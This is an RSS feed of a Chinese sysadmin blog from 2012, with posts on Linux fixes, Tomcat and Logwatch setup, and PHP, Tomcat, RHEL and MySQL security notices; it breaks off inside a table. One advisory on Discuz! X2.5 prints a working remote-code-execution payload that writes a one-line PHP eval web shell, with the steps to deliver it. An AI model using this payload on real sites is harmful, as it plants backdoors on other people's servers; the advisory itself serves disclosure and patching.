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	<title>C1G军火库</title>
	<atom:link href="http://blog.c1gstudio.com/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.c1gstudio.com</link>
	<description>关注互联网、网页设计、Web开发、服务器运维优化、项目管理、网站运营...</description>
	<lastBuildDate>Fri, 18 May 2012 05:59:43 +0000</lastBuildDate>
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		<item>
		<title>bash: /dev/null: Permission denied</title>
		<link>http://blog.c1gstudio.com/archives/1459</link>
		<comments>http://blog.c1gstudio.com/archives/1459#comments</comments>
		<pubDate>Fri, 18 May 2012 05:58:08 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[linux 维护优化]]></category>
		<category><![CDATA[/dev/null]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1459</guid>
		<description><![CDATA[查看了下/dev/null变成600了,在执行/etc/profile.d/*.sh下脚本时没报没有权限. rm -f /dev/null mknod -m 666 /dev/null c 1 3]]></description>
			<content:encoded><![CDATA[<p>查看了下/dev/null变成600了,在执行/etc/profile.d/*.sh下脚本时没报没有权限.</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">rm -f /dev/null</li>
<li>mknod -m 666 /dev/null c 1 3</li></ol></div>
]]></content:encoded>
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		</item>
		<item>
		<title>PHP 5.3.x目录遍历漏洞（CVE-2012-1172）</title>
		<link>http://blog.c1gstudio.com/archives/1455</link>
		<comments>http://blog.c1gstudio.com/archives/1455#comments</comments>
		<pubDate>Wed, 09 May 2012 09:01:49 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[安全通告]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1455</guid>
		<description><![CDATA[漏洞版本: PHP 5.3.x 漏洞描述: BUGTRAQ ID: 53403 CVE ID: CVE-2012-1172 PHP在实现上存在目录遍历漏洞，远程攻击者可利用带有目录遍历序列的特制请求检索、破坏或上传任意位置上的任意文件。 安全建议: 厂商补丁： PHP &#8212; 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.php.net PHP 5.3.11 and 5.4.1 fix this]]></description>
			<content:encoded><![CDATA[<p>漏洞版本:<br />
PHP 5.3.x<br />
漏洞描述:<br />
BUGTRAQ  ID: 53403<br />
CVE ID: CVE-2012-1172</p>
<p>PHP在实现上存在目录遍历漏洞，远程攻击者可利用带有目录遍历序列的特制请求检索、破坏或上传任意位置上的任意文件。<br />
<* 参考<br />
<a href="https://bugzilla.redhat.com/show_bug.cgi?id=799187">https://bugzilla.redhat.com/show_bug.cgi?id=799187</a><br />
*><br />
安全建议:<br />
厂商补丁：</p>
<p>PHP<br />
&#8212;<br />
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：</p>
<p><a href="http://www.php.net">http://www.php.net</a></p>
<p>PHP 5.3.11 and 5.4.1 fix this</p>
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		<item>
		<title>注意修改康盛产品的跨域策略crossdomain.xml文件</title>
		<link>http://blog.c1gstudio.com/archives/1450</link>
		<comments>http://blog.c1gstudio.com/archives/1450#comments</comments>
		<pubDate>Wed, 09 May 2012 08:03:08 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[Discuz/Uchome/Ucenter]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[discuz]]></category>
		<category><![CDATA[flash]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1450</guid>
		<description><![CDATA[discuz,uchome,ucenter的根目录下都会有这个crossdomain.xml 此文件为flash在跨域时的限制策略,如果没有跨域需求记得限制在当前域名下 默认文件 &#60;?xml version=&#34;1.0&#34;?&#62; &#60;cross-domain-policy&#62; &#160; &#60;allow-access-from domain=&#34;*&#34; /&#62; &#60;/cross-domain-policy&#62; 修改为只充许*.c1gstudio.com &#60;?xml version=&#34;1.0&#34;?&#62; &#60;cross-domain-policy&#62; &#160; &#60;allow-access-from domain=&#34;*.c1gstudio.com&#34; /&#62; &#60;/cross-domain-policy&#62; 参考discuz的修改 http://www.discuz.net/crossdomain.xml http://x.discuz.net/crossdomain.xml http://www.80sec.com/flash-security-polic.html]]></description>
			<content:encoded><![CDATA[<p>discuz,uchome,ucenter的根目录下都会有这个crossdomain.xml<br />
此文件为flash在跨域时的限制策略,如果没有跨域需求记得限制在当前域名下</p>
<p>默认文件</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">&lt;?xml version=&quot;1.0&quot;?&gt;</li>
<li>&lt;cross-domain-policy&gt;</li>
<li>&nbsp; &lt;allow-access-from domain=&quot;*&quot; /&gt;</li>
<li>&lt;/cross-domain-policy&gt;</li></ol></div>
<p>修改为只充许*.c1gstudio.com</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">&lt;?xml version=&quot;1.0&quot;?&gt;</li>
<li>&lt;cross-domain-policy&gt;</li>
<li>&nbsp; &lt;allow-access-from domain=&quot;*.c1gstudio.com&quot; /&gt;</li>
<li>&lt;/cross-domain-policy&gt;</li></ol></div>
<p>参考discuz的修改<br />
<a href="http://www.discuz.net/crossdomain.xml">http://www.discuz.net/crossdomain.xml</a><br />
<a href="http://x.discuz.net/crossdomain.xml">http://x.discuz.net/crossdomain.xml</a><br />
<a href="http://www.80sec.com/flash-security-polic.html">http://www.80sec.com/flash-security-polic.html</a></p>
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		</item>
		<item>
		<title>用 Logwatch 工具查看 Linux 系统 Log 日志</title>
		<link>http://blog.c1gstudio.com/archives/1447</link>
		<comments>http://blog.c1gstudio.com/archives/1447#comments</comments>
		<pubDate>Wed, 02 May 2012 07:21:09 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[logwatch]]></category>
		<category><![CDATA[日志]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1447</guid>
		<description><![CDATA[logwatch 是用perl写的一款方便小巧的日志查看工具,可以每天给你发一封格化后的系统信息邮件; 包含crontab运行中的脚本、ssh登录及失败用户ip、su及sudo用户、磁盘空间及邮件等情况&#8230; 一般系统中都默认安装它,只需简单配置下就可运行. http://www.logwatch.org/ 目前最新版为logwatch-7.4.0,logwatch-7.3.6 centos里yum装的为logwatch-7.3.6 安装 rpm -Ivh logwatch***.rpm 升级 rpm -Uvh logwatch***.rpm yum安装升级 yum -y install logwatch #复制配置文件 cp -af /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf/logwatch.conf #打开每日邮件报告 sed -i 's/# DailyReport = No/DailyReport = Yes/' /etc/logwatch/conf/logwatch.conf #修改邮件mta,如果是本机sendmail或postfix不不需修改,这个用的是mailx的远程smtp sed -i 's/mailer = &#34;sendmail -t&#34;/mailer = &#34;mail -t&#34;/' /etc/logwatch/conf/logwatch.conf #报告的细节程度 sed -i 's/Detail = Low/Detail = High/' /etc/logwatch/conf/logwatch.conf [...]]]></description>
			<content:encoded><![CDATA[<p>logwatch 是用perl写的一款方便小巧的日志查看工具,可以每天给你发一封格化后的系统信息邮件;<br />
包含crontab运行中的脚本、ssh登录及失败用户ip、su及sudo用户、磁盘空间及邮件等情况&#8230;<br />
一般系统中都默认安装它,只需简单配置下就可运行.</p>
<p><a href="http://www.logwatch.org/">http://www.logwatch.org/</a><br />
目前最新版为logwatch-7.4.0,logwatch-7.3.6<br />
centos里yum装的为logwatch-7.3.6</p>
<p>安装<br />
rpm -Ivh logwatch***.rpm<br />
升级<br />
rpm -Uvh logwatch***.rpm<br />
yum安装升级<br />
yum -y install logwatch</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">#复制配置文件</li>
<li>cp -af /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf/logwatch.conf</li>
<li>#打开每日邮件报告</li>
<li>sed -i 's/# DailyReport = No/DailyReport = Yes/' /etc/logwatch/conf/logwatch.conf</li>
<li>#修改邮件mta,如果是本机sendmail或postfix不不需修改,这个用的是mailx的远程smtp</li>
<li>sed -i 's/mailer = &quot;sendmail -t&quot;/mailer = &quot;mail -t&quot;/' /etc/logwatch/conf/logwatch.conf</li>
<li>#报告的细节程度</li>
<li>sed -i 's/Detail = Low/Detail = High/' /etc/logwatch/conf/logwatch.conf</li>
<li>#邮件发给谁</li>
<li>sed -i &quot;s/MailTo = root/MailTo = root,c1g@c1gstudio.com/&quot; /etc/logwatch/conf/logwatch.conf</li></ol></div>
<p>logwatch默认每天执行一次，可以从/etc/cron.daily里看到<br />
ll /etc/cron.daily/ </p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">total 28</li>
<li>-rwxr-xr-x&nbsp; 1 root root&nbsp; 265 Jun 25&nbsp; 2011 0logwatch</li></ol></div>
<p>红帽as4系统中配置文件位于/etc/log.d/logwatch.conf</p>
]]></content:encoded>
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		</item>
		<item>
		<title>【转】php-5.3.x中弃用的功能和函数</title>
		<link>http://blog.c1gstudio.com/archives/1443</link>
		<comments>http://blog.c1gstudio.com/archives/1443#comments</comments>
		<pubDate>Sat, 28 Apr 2012 02:14:04 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1443</guid>
		<description><![CDATA[PHP 5.3.0 新增了两个错误等级: E_DEPRECATED 和 E_USER_DEPRECATED. 错误等级 E_DEPRECATED 被用来说明一个函数或者功能已经被弃用. E_USER_DEPRECATED 等级目的在于表明用户代码中的弃用功能, 类似于 E_USER_ERROR 和 E_USER_WARNING等级.下面是被弃用的 INI 指令列表. 使用下面任何指令都将导致 E_DEPRECATED 错误. define_syslog_variables register_globals register_long_arrays safe_mode magic_quotes_gpc magic_quotes_runtime magic_quotes_sybase 弃用的函数: call_user_method() (使用 call_user_func() 替代) call_user_method_array() (使用 call_user_func_array() 替代) define_syslog_variables() dl() ereg() (使用 preg_match() 替代) ereg_replace() (使用 preg_replace() 替代) eregi() (使用 preg_match() 配合 ‘i’ 修正符替代) eregi_replace() (使用 preg_replace() [...]]]></description>
			<content:encoded><![CDATA[<p>PHP 5.3.0 新增了两个错误等级: E_DEPRECATED 和 E_USER_DEPRECATED. 错误等级 E_DEPRECATED 被用来说明一个函数或者功能已经被弃用. E_USER_DEPRECATED 等级目的在于表明用户代码中的弃用功能, 类似于 E_USER_ERROR 和 E_USER_WARNING等级.下面是被弃用的 INI 指令列表. 使用下面任何指令都将导致 E_DEPRECATED 错误.</p>
<p>define_syslog_variables<br />
register_globals<br />
register_long_arrays<br />
safe_mode<br />
magic_quotes_gpc<br />
magic_quotes_runtime<br />
magic_quotes_sybase</p>
<p>弃用的函数:<br />
call_user_method() (使用 call_user_func() 替代)<br />
call_user_method_array() (使用 call_user_func_array() 替代)<br />
define_syslog_variables()<br />
dl()<br />
ereg() (使用 preg_match() 替代)<br />
ereg_replace() (使用 preg_replace() 替代)<br />
eregi() (使用 preg_match() 配合 ‘i’ 修正符替代)<br />
eregi_replace() (使用 preg_replace() 配合 ‘i’ 修正符替代)<br />
set_magic_quotes_runtime() 以及它的别名函数 magic_quotes_runtime()<br />
session_register() (使用 $_SESSION 超全部变量替代)<br />
session_unregister() (使用 $_SESSION 超全部变量替代)<br />
session_is_registered() (使用 $_SESSION 超全部变量替代)<br />
set_socket_blocking() (使用 stream_set_blocking() 替代)<br />
split() (使用 preg_split() 替代)<br />
spliti() (使用 preg_split() 配合 ‘i’ 修正符替代)<br />
sql_regcase()<br />
mysql_db_query() (使用 mysql_select_db() 和 mysql_query() 替代)<br />
mysql_escape_string() (使用 mysql_real_escape_string() 替代)</p>
<p>不向下兼容的变化<br />
尽管大多数现有的 PHP 5 代码无需改变就可以工作，但是请注意一些不向下兼容的变化：<br />
在 PHP 5.3.x 的所有绑定扩展中应用了新的内部参数解析API, 当给函数传递了不兼容的参数时将返回 NULL. 但有一些例外，比如函数 get_class() 在出现错误时将会返回 FALSE.<br />
clearstatcache() 默认不再清除缓存的 realpath.<br />
realpath() 现在是完全与平台无关的. 结果是非法的相对路径比如 __FILE__ . “/../x” 将不会工作.<br />
call_user_func() 系列函数即使被调用者是一个父类也使用 $this.<br />
数组函数 natsort(), natcasesort(), usort(), uasort(), uksort(), array_flip(), 和 array_unique() 将不再接受对象作为参数. 在将这些函数应用于对象时, 请首先将对象转换为数组.<br />
按引用传递参数的函数在被按值传递调用时行为发生改变. 此前函数将接受按值传递的参数, 现在将抛出致命错误. 之前任何期待传递引用但是在调用时传递了常量或者字面值 的函数, 需要在调用前改为将该值赋给一个变量。<br />
新的 mysqlnd 库需要使用 MySQL 4.1 新的 41 字节密码格式。继续使用旧的 16 字节密码将导致 mysql_connect() 和其它类似函数 抛出 “mysqlnd cannot connect to MySQL 4.1+ using old authentication.” 错误.<br />
新的 mysqlnd 库将不再读取 MySQL 配置文件(my.cnf/my.ini), 这与旧版本的 libmysql 库不同. 如果你的代码依赖于这些配置 文件, 你可以使用 mysqli_options() 显式地加载它. 注意, 这意味着如果 PDO 中的 MySQL 支持使用了 mysqlnd 进行编译，PDO 特有常量 PDO::MYSQL_ATTR_READ_DEFAULT_FILE 和 PDO::MYSQL_ATTR_READ_DEFAULT_GROUP 将是未定义的.<br />
SplFileInfo 及其相关目录类会移除末尾的 /.<br />
__toString 魔术方法不再接受参数.<br />
魔术方法 __get, __set, __isset, __unset, and __call 应该总是公共的(public)且不能是静态的(static). 方法签名是必须的.<br />
现在 __call 魔术方法在访问私有的(private)和被保护的(protected)方法时被调用.<br />
函数内 include() 或者 require() 一个文件时，文件内 将不能使用 func_get_arg(), func_get_args() 和 func_num_args() 函数。<br />
新增了一个包裹在 MHASH 扩展外面的仿真层。但是并非所有的算法都涉及到了，值得注意的是 s2k 哈希算法。这意味着 s2k 哈希算法在 PHP 5.3.0 中不再可用。</p>
<p>转自:http://www.rootsec.org/post/php-5-3-x%E4%B8%AD%E5%90%AF%E7%94%A8%E7%9A%84%E5%8A%9F%E8%83%BD%E5%92%8C%E5%87%BD%E6%95%B0.html</p>
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		</item>
		<item>
		<title>Discuz! X2.5 远程代码执行漏洞及EXP[XDAY]</title>
		<link>http://blog.c1gstudio.com/archives/1438</link>
		<comments>http://blog.c1gstudio.com/archives/1438#comments</comments>
		<pubDate>Sat, 28 Apr 2012 01:35:09 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[Discuz/Uchome/Ucenter]]></category>
		<category><![CDATA[安全通告]]></category>
		<category><![CDATA[discuz]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1438</guid>
		<description><![CDATA[发布时间: 2012-04-27 漏洞版本:Discuz! X2.5Release20120407 漏洞描述: Discuz! X2.5 Release 20120407版中的preg_replace使用了e修饰符和双引号，在实现上存在远程命令执行漏洞， 远程攻击者可利用此漏洞执行远程任意代码。要成功利用此漏洞需要目标启用seo功能。 测试方法: @Sebug.net dis 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 1,注册任意账户 2,登陆用户，发表blog日志（注意是日志） 3,添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} 4,访问日志，论坛根目录下生成demo.php，一句话密码C Discuz已经发布了新版Discuz! X2.5 R20120427 http://www.discuz.net/thread-2744369-1-1.html 参考 http://sebug.net/vuldb/ssvid-60082 http://www.wooyun.org/bugs/wooyun-2012-06420 http://yaonie.org/archives/165 补充:PHP 5.4/5.3弃用eregi()函数内存限制绕过漏洞 危害 远程攻击者可以利用漏洞耗尽系统内存。 攻击所需条件 攻击者必须访问PHP应用。 漏洞信息 PHP 5.3之后弃用了基于POSIX规则表达式的函数如eregi，但在5.4.0版本中仍然使用这些函数，可被利用绕过memory_limit，通过eregi()耗尽内存。 测试方法 http://cxsecurity.com/issue/WLB-2012030271 漏洞消息链接 http://marc.info/?l=bugtraq&#038;m=133311683110469&#038;w=2 漏洞消息标题 PHP 5.4/5.3 deprecated eregi() memory_limit bypass]]></description>
			<content:encoded><![CDATA[<p>发布时间: 2012-04-27<br />
漏洞版本:Discuz! X2.5Release20120407<br />
漏洞描述:<br />
Discuz! X2.5 Release 20120407版中的preg_replace使用了e修饰符和双引号，在实现上存在远程命令执行漏洞， 远程攻击者可利用此漏洞执行远程任意代码。要成功利用此漏洞需要目标启用seo功能。</p>
<p>测试方法:<br />
@Sebug.net   dis<br />
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!<br />
1,注册任意账户<br />
2,登陆用户，发表blog日志（注意是日志）<br />
3,添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}<br />
4,访问日志，论坛根目录下生成demo.php，一句话密码C</p>
<p>Discuz已经发布了新版Discuz! X2.5  R20120427</p>
<p>http://www.discuz.net/thread-2744369-1-1.html</p>
<p>参考</p>
<p>http://sebug.net/vuldb/ssvid-60082</p>
<p>http://www.wooyun.org/bugs/wooyun-2012-06420</p>
<p>http://yaonie.org/archives/165</p>
<p>补充:PHP 5.4/5.3弃用eregi()函数内存限制绕过漏洞<br />
危害<br />
远程攻击者可以利用漏洞耗尽系统内存。</p>
<p>攻击所需条件<br />
攻击者必须访问PHP应用。</p>
<p>漏洞信息<br />
PHP 5.3之后弃用了基于POSIX规则表达式的函数如eregi，但在5.4.0版本中仍然使用这些函数，可被利用绕过memory_limit，通过eregi()耗尽内存。</p>
<p>测试方法</p>
<p>http://cxsecurity.com/issue/WLB-2012030271</p>
<p>漏洞消息链接</p>
<p>http://marc.info/?l=bugtraq&#038;m=133311683110469&#038;w=2</p>
<p>漏洞消息标题<br />
PHP 5.4/5.3 deprecated eregi() memory_limit bypass</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Apache Tomcat 6.0.35前有拒绝服务,信息泄露等漏洞</title>
		<link>http://blog.c1gstudio.com/archives/1434</link>
		<comments>http://blog.c1gstudio.com/archives/1434#comments</comments>
		<pubDate>Fri, 20 Apr 2012 09:33:29 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[Tomcat]]></category>
		<category><![CDATA[安全通告]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1434</guid>
		<description><![CDATA[Apache Tomcat 6.0.35前有信息泄露相关的一个漏洞（CVE-2011-3375）， 以及另一个在此前广受关注的哈希碰撞引发拒绝服务（DoS）漏洞（CVE-2012-0022）， Apache 建议用户对 Tomcat 进行升级从而规避此漏洞。 http://tomcat.apache.org/security-6.html 一.安装Oracle JRockit 使用Oracle JRockit 可以提高tomcat性能 当前版本Oracle JRockit 6 &#8211; R28.2.3 Includes JRockit Mission Control 4.1 and JRockit Real Time 4.1 http://download.oracle.com/otn/bea/jrockit/jrockit-jdk1.6.0_31-R28.2.3-4.1.0-linux-x64.bin 需登录后下载 chmod u+x jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin ./jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin 遇到以下错误可能是/tmp没有执行权限 sh: jre150_12/bin/java: Permission denied ** Error during execution, error code = 32256. 按照提示一步步安装到 /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0 做个软链接 ln -s /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0 /usr/jrrt [...]]]></description>
			<content:encoded><![CDATA[<p>Apache Tomcat 6.0.35前有信息泄露相关的一个漏洞（CVE-2011-3375），<br />
以及另一个在此前广受关注的哈希碰撞引发拒绝服务（DoS）漏洞（CVE-2012-0022），<br />
Apache 建议用户对 Tomcat 进行升级从而规避此漏洞。</p>
<p><a href="http://tomcat.apache.org/security-6.html">http://tomcat.apache.org/security-6.html</a></p>
<p><strong>一.安装Oracle JRockit</strong><br />
<a href="http://blog.c1gstudio.com/archives/954">使用Oracle JRockit 可以提高tomcat性能</a><br />
当前版本Oracle JRockit 6 &#8211; R28.2.3<br />
Includes JRockit Mission Control 4.1 and JRockit Real Time 4.1<br />
<a href="http://download.oracle.com/otn/bea/jrockit/jrockit-jdk1.6.0_31-R28.2.3-4.1.0-linux-x64.bin">http://download.oracle.com/otn/bea/jrockit/jrockit-jdk1.6.0_31-R28.2.3-4.1.0-linux-x64.bin</a></p>
<p>需登录后下载</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">chmod u+x jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin </li>
<li>./jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin</li></ol></div>
<p>遇到以下错误可能是/tmp没有执行权限</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">sh: jre150_12/bin/java: Permission denied</li>
<li>** Error during execution, error code = 32256.</li></ol></div>
<p>按照提示一步步安装到<br />
/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0<br />
做个软链接</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">ln -s /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0 /usr/jrrt</li></ol></div>
<p><strong>二.安装apr</strong><br />
yum install apr apr-util apr-devel </p>
<p>tomcat需要tomcat-native,而tomcat-native需要apr和openssl<br />
没有apr启动tomcat可能会有以下错误</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">2012-4-20 13:28:37 org.apache.catalina.core.AprLifecycleListener init</li>
<li>信息: The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/lib/amd64/jrockit:/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/lib/amd64:/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/../lib/amd64</li></ol></div>
<p><strong>三.tomcat 安装</strong><br />
tomcat安装在/opt/下</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">cd /root/src/</li>
<li>wget http://labs.renren.com/apache-mirror/tomcat/tomcat-6/v6.0.35/bin/apache-tomcat-6.0.35.tar.gz</li>
<li>tar zxvf apache-tomcat-6.0.35.tar.gz</li>
<li>mv apache-tomcat-6.0.35 /opt/</li>
<li>cd /opt</li>
<li>#复制配制文件</li>
<li>cp -ar tomcat/conf/*.xml apache-tomcat-6.0.35/conf/</li>
<li>#复制经过修改的关闭脚本,原生的有问题</li>
<li>cp tomcat/bin/shutdown.sh apache-tomcat-6.0.35/bin/</li></ol></div>
<p><strong>四.安装tomcat-native</strong></p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">cd apache-tomcat-6.0.35/bin</li>
<li>tar zxvf tomcat-native-1.1.22-src.tar.gz</li>
<li>cd tomcat-native-1.1.22-src/jni/native/</li>
<li>&nbsp;./configure --with-apr=/usr/bin/apr-1-config --with-java-home=/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0</li>
<li>make </li>
<li>make install</li></ol></div>
<p><strong>五.编辑变量</strong><br />
vi /etc/profile</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">JAVA_HOME=/usr/jrrt</li>
<li>export JAVA_HOME</li>
<li>PATH=$PATH:$JAVA_HOME/bin</li>
<li>#原始设置省略</li>
<li>&nbsp;</li>
<li>APR_HOME=/usr/local/apr</li>
<li>LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$APR_HOME/lib</li>
<li>export LD_LIBRARY_PATH</li></ol></div>
<p>重新载入<br />
source /etc/profile</p>
<p><strong>六.迁移服务及应用</strong><br />
关闭tomcat<br />
/opt/tomcat/bin/shutdown.sh</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">cd /opt</li>
<li>mv apache-tomcat-6.0.35/webapps/ apache-tomcat-6.0.35/webappsorg</li>
<li>cp -ar tomcat/webapps apache-tomcat-6.0.35/</li>
<li>&nbsp;</li>
<li>mv apache-tomcat-6.0.35/lib/ apache-tomcat-6.0.35/libbak</li>
<li>cp -ar tomcat/lib/ apache-tomcat-6.0.35/</li>
<li>mv apache-tomcat-6.0.35/libbak/* apache-tomcat-6.0.35/lib/</li></ol></div>
<p>删除软链接</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">rm /opt/tomcat</li>
<li>ln -s /opt/apache-tomcat-6.0.35 /opt/tomcat</li></ol></div>
<p>启动tomcat<br />
/opt/tomcat/bin/startup.sh<br />
检查日志及服务<br />
tail -n100 /opt/tomcat/logs/catalina.out</p>
<p>参考:<br />
<a href="http://blog.c1gstudio.com/archives/865">tomcat安全设置</a><br />
<a href="http://blog.c1gstudio.com/archives/276">优化tomcat 内存</a><br />
<a href="http://blog.c1gstudio.com/archives/889">CentOs5.2安装tomcat</a><br />
<a href="http://blog.c1gstudio.com/archives/954">使用Oracle JRockit 提高tomcat性能</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>centos/rhel 6.x部分系统在运行208.5天后可能会重启</title>
		<link>http://blog.c1gstudio.com/archives/1432</link>
		<comments>http://blog.c1gstudio.com/archives/1432#comments</comments>
		<pubDate>Fri, 20 Apr 2012 04:01:00 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[安全通告]]></category>
		<category><![CDATA[kernel]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1432</guid>
		<description><![CDATA[centos/rhel 6.x部分kernel版本由于计数器溢出的bug，208.5天后可能会造成kernel panic https://rhn.redhat.com/errata/RHBA-2012-0124.html Updated kernel packages that fix one bug are now available for Red Hat Enterprise Linux 6. The kernel packages contain the Linux kernel, the core of any Linux operating system. This update fixes the following bug: * An insufficiently designed calculation in the CPU accelerator in the previous kernel caused an [...]]]></description>
			<content:encoded><![CDATA[<p>centos/rhel 6.x部分kernel版本由于计数器溢出的bug，208.5天后可能会造成kernel panic</p>
<p><a href="https://rhn.redhat.com/errata/RHBA-2012-0124.html">https://rhn.redhat.com/errata/RHBA-2012-0124.html</a><br />
Updated kernel packages that fix one bug are now available for Red Hat<br />
Enterprise Linux 6.</p>
<p>The kernel packages contain the Linux kernel, the core of any Linux operating<br />
system.</p>
<p>This update fixes the following bug:</p>
<p>* An insufficiently designed calculation in the CPU accelerator in the previous<br />
kernel caused an arithmetic overflow in the sched_clock() function when system<br />
uptime exceeded 208.5 days. This overflow led to a kernel panic on the systems<br />
using the Time Stamp Counter (TSC) or Virtual Machine Interface (VMI) clock<br />
source. This update corrects the aforementioned calculation so that this<br />
arithmetic overflow and kernel panic can no longer occur under these<br />
circumstances. (BZ#781974)</p>
<p>All users are advised to upgrade to these updated packages, which fix this bug.<br />
The system must be rebooted for this update to take effect.</p>
<p>参考:</p>
<p>http://hi.baidu.com/beibeiboo/blog/item/90a5d3ec8f41570762d09f89.html</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Oracle发布了本季安全补丁,包含了mysql在内的高危漏洞补丁</title>
		<link>http://blog.c1gstudio.com/archives/1422</link>
		<comments>http://blog.c1gstudio.com/archives/1422#comments</comments>
		<pubDate>Thu, 19 Apr 2012 01:42:39 +0000</pubDate>
		<dc:creator>C1G</dc:creator>
				<category><![CDATA[安全通告]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://blog.c1gstudio.com/?p=1422</guid>
		<description><![CDATA[mysql 5.1.61 和mysql 5.5.21之前的版本都受影响,以下列出关于mysql的信息http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html#AppendixMSQL Oracle MySQL Executive Summary &#160; This Critical Patch Update contains 6 new security fixes for Oracle MySQL.  None of these vulnerabilities may be remotely exploitable without authentication, i.e., none may be exploited over a network without the need for a username and password.  The English text form of this Risk Matrix [...]]]></description>
			<content:encoded><![CDATA[<p><center></center><center><span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal; text-align: -webkit-auto;">mysql 5.1.61 和mysql 5.5.21之前的版本都受影响,以下列出关于mysql的信息</span></center><center><a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html#AppendixMSQ">http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html#AppendixMSQ</a>L</center></p>
<h4></h4>
<h4>Oracle MySQL Executive Summary</h4>
<p>&nbsp;</p>
<p>This Critical Patch Update contains 6 new security fixes for Oracle MySQL.  None of these vulnerabilities may be remotely exploitable without authentication, i.e., none may be exploited over a network without the need for a username and password.  The English text form of this Risk Matrix can be found <a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012verbose-366316.html#Oracle MySQL">here</a>.</p>
<h4></h4>
<h4>Oracle MySQL Risk Matrix</h4>
<p>&nbsp;</p>
<p>&nbsp;</p>
<table summary="Oracle Risk Matrix" border="1" cellspacing="0">
<thead>
<tr>
<th rowspan="2">CVE#</th>
<th rowspan="2">Component</th>
